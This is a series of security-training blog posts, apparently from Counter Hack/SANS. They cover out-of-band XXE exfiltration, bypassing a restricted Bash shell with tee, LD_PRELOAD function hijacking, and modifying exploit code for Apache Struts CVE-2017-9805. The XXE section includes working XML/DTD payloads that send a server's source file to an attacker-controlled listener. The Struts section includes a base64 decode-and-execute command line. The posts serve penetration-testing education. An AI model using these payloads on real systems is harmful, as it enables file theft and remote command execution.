For example, we could load the following xml file into our parser which points to a DTD file. When %extentity; is called, it loads the contents of our DTD file (evil.dtd) at the provided URI:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE demo [
     <!ELEMENT demo ANY >
     <!ENTITY % extentity SYSTEM "http://192.168.1.10:4444/evil.dtd">
     %extentity;
      ]
>

We would then need to have a web server listening on port 4444 at the above IP address with the evil.dtd file located at the root of the web directory. What’s in this magical DTD file you ask? Well, I’ll show you:

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % stolendata SYSTEM "file:///c:/inetpub/wwwroot/Views/secret_source.cshtml">
<!ENTITY % inception "<!ENTITY % sendit SYSTEM 'http://192.168.1.10:4444/?%stolendata;'>">

Line 1 of the above DTD file declares the XML version and encoding. Line 2 declares that we want to grab the contents of a sensitive file. In line 3 we perform entity inception and append the contents of the stolendata file to a URI. This URI will be our webserver listening on port 4444. By doing this, we are able to bypass the XML well-formed restrictions that we attempted to embed earlier in our original XML payload.
xxe1

The above illustration shows us the first few steps of the process:

1. We upload our original XML payload which points the system to load a DTD file from our remote web server.

2. The XML parser reaches out to the designated URI to retrieve DTD contents.

3. XML parser loads the contents of the DTD into the pre-processing of the original XML payload.

At this point, we have successfully bypassed the well-formed restrictions. However, we still need to call the entities we declared in our DTD file in order to retrieve the contents of secret_source.cshtml and send them back to our webserver. To do this, we would need to insert %inception; and %sendit; after %extentity; in our original XML file before we send the payload. Our original XML payload should now look something like this:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE demo [
    <!ELEMENT demo ANY >
    <!ENTITY % extentity SYSTEM "http://192.168.1.10:4444/evil.dtd">
    %extentity;
    %inception;
    %sendit;
    ]
<

xxe2

That’s it! As long as we had a webserver or a Netcat listener setup on port 4444, the XML parser would send back the contents of the target file (secret_source.cshtml) embedded in the URI of the GET request. Source files containing sensitive information like database passwords and encryption keys exfiltrated using this method could then be leveraged to escalate to more valuable content from there.

Note: There are certain limitations to this technique as the XML parser will produce an error if the file content exceeds 2000 bytes in total length due to URI length restrictions.

Useful Links:

OWASP: XML External Entity (XXE) Processing

XML Security Cheat Sheet

Microsoft: ENTITY (XML) .NET Framework

W3schools: XML DTD

-Chris Davis
Counter Hack

Upcoming SANS Special Event – 2018 Holiday Hack Challenge

KringleCon

SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen
kringle_02

A Spot of Tee

The Restricted Bash Shell

By Daniel Pendolino
Counter Hack

The Bash shell is a nearly ubiquitous way to interact with a Linux console. A little know feature is the restricted Bash shell, which you can invoke by calling rbash or bash --restricted. While it isn’t something you would normally opt into, it certainly a situation I’ve been placed in due to strict polices or limited device resources. Here are some of the limitations imposed:

  • Setting or unsetting the values of the SHELL, PATH, ENV, or BASH_ENV variables.
  • Specifying command names containing slashes.
  • Specifying a filename containing a slash as an argument to the . builtin command.
  • Specifying a filename containing a slash as an argument to the -p option to the hash builtin command.
  • Importing function definitions from the shell environment at startup.
  • Parsing the value of SHELLOPTS from the shell environment at startup.
  • Redirecting output using the ‘>’, ‘>|’, ‘<>’, ‘>&’, ‘&>’, and ‘>>’ redirection operators.
  • Using the exec builtin to replace the shell with another command.
  • Adding or deleting builtin commands with the -f and -d options to the enable builtin.
  • Using the enable builtin command to enable disabled shell builtins.
  • Specifying the -p option to the command builtin.
  • Turning off restricted mode with ‘set +r’ or ‘set +o restricted’.

Selection_031

Dotting I’s and Crossing Tees

Tee is a wonderful utility that soaks up stdin and sends it all to a file along with stdout. It’s just the trick to get around a restricted shell where I/O redirection is being blocked. With tee it’s possible to bypass rbash‘s I/O restrictions and send arbitrary data to a file.

Selection_032

Tee can even be used to append data to a file with the -a flag.

-Daniel Pendolino
Counter Hack

Bash restrictions sourced from gnu.org

Upcoming SANS Special Event – 2018 Holiday Hack Challenge

KringleCon

SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen
kringle_02

Go To The Head Of The Class: LD_PRELOAD For The Win

By Jeff McJunkin

funskool-go-to-the-head-of-the-class-original-imadhd8wbpcuhmzg

Imagine a Linux binary compiled from the following source:

#include <stdio.h>
#include <unistd.h>

int main(){
  int duration = 15 * 1000 * 1000; /* microseconds are hard */

  printf("Starting, please wait...");
  usleep(duration);

printf(" Done!\nThe program started up or whatever.\n");
return 0;
}

Now, dear readers, what if we wanted the program to start up immediately? We could wait 15 seconds, but nobody’s got time for that. Plus, it could just as easily be a longer wait.

If we have access to the source, we could certainly just remove the usleep() calls and recompile the program. But what if we don’t have the source to the program? We’d need an easy way to change runtime behavior, and we’d need to discover which function calls are being made in the first place.

Luckily, today we’ll discuss using a cool trick to steal time back. We will make our own usleep function and make the Linux loader call on it first – hence the title of this blog post.

First, if we’re curious as to what function calls a binary is making (when we don’t have the source), we can use the ltrace utility to see, as shown here:

$ ltrace ./delayed 
__libc_start_main(0x4005b6, 1, 0x7fff764a7958, 0x4005f0 
printf("Starting, please wait...")                               = 24
usleep(15000000)                                                 = <void>
puts(" Done!\nThe program started up or"...Starting, please wait... Done!
The program started up or whatever.
)                             = 43
+++ exited (status 0) +++

The ltrace utility shows regular library calls. It’s similar to strace, which shows system calls made by a program, but it’s more useful for our purpose here.

Now that we can see those usleep() calls, we can make our own version of that function, then replace the normal version with ours at runtime.

$ cat hacking_time.c
#include <stdio.h>

unsigned int usleep(unsigned int microseconds) {
printf("Hijacked usleep!\n");
return 0;
}
$ gcc hacking_time.c -o hacking_time -shared -fPIC

Using gcc we’ve specified the normal input file (hacking_time.c) and output file (-o hacking_time),but we’ve also specified two additional options: -shared to make a library and -fPIC to specify Position Independent Code, which is necessary for making a shared library.

Now that we’ve built hacking_time as a shared library, here’s the basic usage:

$ LD_PRELOAD="$PWD/hacking_time" ./delayed
Starting, please wait...Hijacked usleep!
Done!
The program started up or whatever.

Great! Instead of calling the normal usleep, we’ve told the Linux library loader to use our own version instead.

There are a few gotchas here. Note that C functions have input variable types and output variable types. We can look up those expected values after finding the functions shown in the ltrace output though by querying the corresponding manual page:

$ man 3 usleep # also visible online at http://man7.org/linux/man-pages/man3/usleep.3.html
[...skipping a few lines at the beginning...]
SYNOPSIS
       #include 
       int usleep(useconds_t usec);

int usleep tells us that usleep() will return an integer. usleep(useconds_t usec) tells us it expects to be sent something of the type useconds_t. Scrolling down a little further in that same man page we see that useconds_t is also an integer type:

NOTES
The type useconds_t is an unsigned integer type capable of holding integers in the range [0,1000000]

When we build hacking_time.c (or any other code meant for hijacking library calls) we’ll need to be sure to have the same inputs (parameters) and output types.

Okay, now that we’ve examined the happy path to hacking time itself, let’s look at some of the common issues when hijacking functions:

Common Issues

Compiling without -fPIC:

Running a shared library for use with LD_PRELOAD without -fPIC looks like the following:

$ gcc hacking_time.c -shared -o hacking_time
/usr/bin/ld: /tmp/ccZKQYM8.o: relocation R_X86_64_32 against `.rodata' can not be used when making 
a shared object; recompile with -fPIC
/tmp/ccZKQYM8.o: error adding symbols: Bad value
collect2: error: ld returned 1 exit status

Make sure you specify the -fPIC argument when compiling an library for a LD_PRELOAD attack.

Compiling without -shared:

$ gcc hacking_time.c -o hacking_time
/usr/lib/gcc/x86_64-linux-gnu/5/../../../x86_64-linux-gnu/crt1.o: In function `_start':
(.text+0x20): undefined reference to `main'
collect2: error: ld returned 1 exit status

Since we don’t define main(), gcc doesn’t know how to build this as a standalone binary. Make sure you specify the -shared argument when building a library for an LD_PRELOAD attack.

Wrong input type to a hijacked function

$ cat hacking_time_wrong_input.c
#include <tstdio.h>

unsigned int usleep(void) {
printf("Hijacked usleep!\n");
return 0;
}
$ gcc hacking_time_wrong_input.c -o hacking_time -shared -fPIC
$ LD_PRELOAD="$PWD/hacking_time" ./delayed
Starting, please wait...Hijacked usleep!
Done!
The program started up or whatever.

Note that I defined usleep as accepting no parameters / inputs with usleep(void). I think we’re clearly into undefined behavior here, but I was surprised to see that this actually worked for me.

Wrong return type from a hijacked function

$ cat hacking_time_wrong_return.c
#include <tstdio.h>

void usleep(unsigned int microseconds) {
  printf("Hijacked usleep!\n");
  return;
}
$ gcc hacking_time_wrong_return.c -o hacking_time -shared -fPIC
$ LD_PRELOAD="$PWD/hacking_time" ./delayed 
Starting, please wait...Hijacked usleep!
 Done!
The program started up or whatever.

Here I defined usleep as not returning any data with void usleep. This worked but isn’t reliable, since the Linux loader expects the library to comply with the system function declaration.

More resources

If you want to go further into LD_LIBRARY tricks, there are a few resources I’d like to point you to:

  • preeny has a number of pre-built replacement functions available
  • libfaketime can fake calls to see the system time, which is interestingly used to make more deterministic (bit-for-bit identical) software builds in projects like Reproducible Builds by Debian
  • retrace to flexibly track and alter library calls using config files

Thanks for reading! I hope you enjoy the challenge of hacking time – and other libraries – this holiday season.

– Jeff McJunkin
@jeffmcjunkin

 

Upcoming SANS Special Event – 2018 Holiday Hack Challenge

KringleCon

SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen
kringle_02

Why You Need the Skills to Tinker with Publicly Released Exploit Code

By Chris Davis

If you are a security enthusiast, like me, then you likely find yourself tinkering with exploit code for most of the major vulnerabilities that are released. This “tinkering” can be incredibly valuable to security researchers, blue teamers, and especially penetration testers. In fact, I frequently find myself modifying and testing public exploit code during penetration tests.

The reason for modifying this code is most often due to the fact that a lot of exploit code written for websites like “exploit-db.com” are proof-of-concept scripts that show a concept, but don’t exploit it flexibly or as efficiently as they could. For example, when the Equifax breach came out, I set up a lab with several of the major Apache Struts vulnerabilities from 2017 for testing purposes. CVE-2017-5638 and CVE-2017-9805 were two easily testable exploits thanks to Metasploit having modules available.

Normally Metasploit is highly modular and achieves what I need but that’s not always the case. In this instance, the module in question was limited to reverse call back payloads. While such payloads are very useful, it’s very common for reverse connections from DMZ servers to be blocked. On top of this, it assumes that you also have a public IP to catch the call back on or perhaps in-bound firewall filtering is in place to block bind shells. These are all examples of instances where pulling down publicly released exploit code and modifying it would come in handy.

Problems facing some publicly released proof-of-concept exploit code is that it is often created without giving any major thought to user error, how applications function, or countless other factors. CVE-2017-9805 was a perfect example of this as Metasploit didn’t solve my reverse call back issue. Additionally, the sample public exploit code I found for it didn’t properly handle special characters due to the payload being XML and would break if a user-supplied command contained certain special characters.

Challenges Of Modifying CVE-2017-9805 Exploit Code

The Apache Struts 2 REST Plugin XStream RCE (CVE-2017-9805) uses an XStream handler to deserialize without type filtering of XML payloads. As such, a properly crafted XML payload could allow an attacker to send a specially crafted HTTP request to achieve command execution.

The problem with most of the public exploit code I found was that it wasn’t
object-oriented and simply did string concatenation to insert the user supplied command in-between the XML payload without accounting for special characters that break XML.

A quick example of XML without special characters:

<memo>

<to>Nick Burns</to>

<from>HR</from>

<heading>Need Help Cant Print</heading>

<body>Cant print out. Need computer help </body>

</memo>

 

Now what happens if we pass in special characters as simple as a text emoji of “>_> “?

<memo>

<to>Nick Burns</to>

<from>HR</from>

<heading>Need Help Cant Print</heading>

<body>Cant print out. Need computer help >_> </body>

</memo>

 

The unencoded “>” characters near the end would likely throw off our payload. This is likely to happen in a user supplied command as the greater than symbol “>” is often used to direct standard out to a file in Linux. The XML format uses entity encoding similar to HTML to account for this. For example, if we wanted to encode the greater than sign “>” for XML, we would convert to “&gt;”.

The problem with this encoding when trying to achieve command execution through struts is that it will not interpret these characters to the system as the intended greater than sign “>”; which breaks our command execution.

This means we need to:

1. Encode special characters without using XML encoding

2. Decode that on the command line and execute it without using any special characters that would break XML.

We could base64 encode the user supplied command (since base64 characters don’t break XML) and decode that on the command line into a file, then execute that file with /bin/bash and then remove that temporary file all while avoiding special XML characters. For example, the following one-line command could achieve this:

echo L3Vzci9iaW4vd2hvYW1pIA==| base64 -d | tee -a /tmp/payload.tmp ; /bin/bash /tmp/payload.tmp; /bin/rm /tmp/ payload.tmp

Finally, we embed this command in our XML payload and our vulnerable apache struts server will execute the user’s base64 encoded command regardless of any special characters in their supplied command. A sample of the finished version of the exploit code for CVE-2017-9805 can be found here:

https://github.com/chrisjd20/cve-2017-9805.py

Conclusion

The above example a perfect illustration of why having the skills to interpret and modify public exploit code “on-the-fly” is so critical a skill to possess. This is especially true of penetration testers and is often what separates “Script Kiddies” from the proficient security professionals.

-Chris Davis
Counter Hack

Upcoming SANS Special Event – 2018 Holiday Hack Challenge

KringleCon

SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen
kringle_02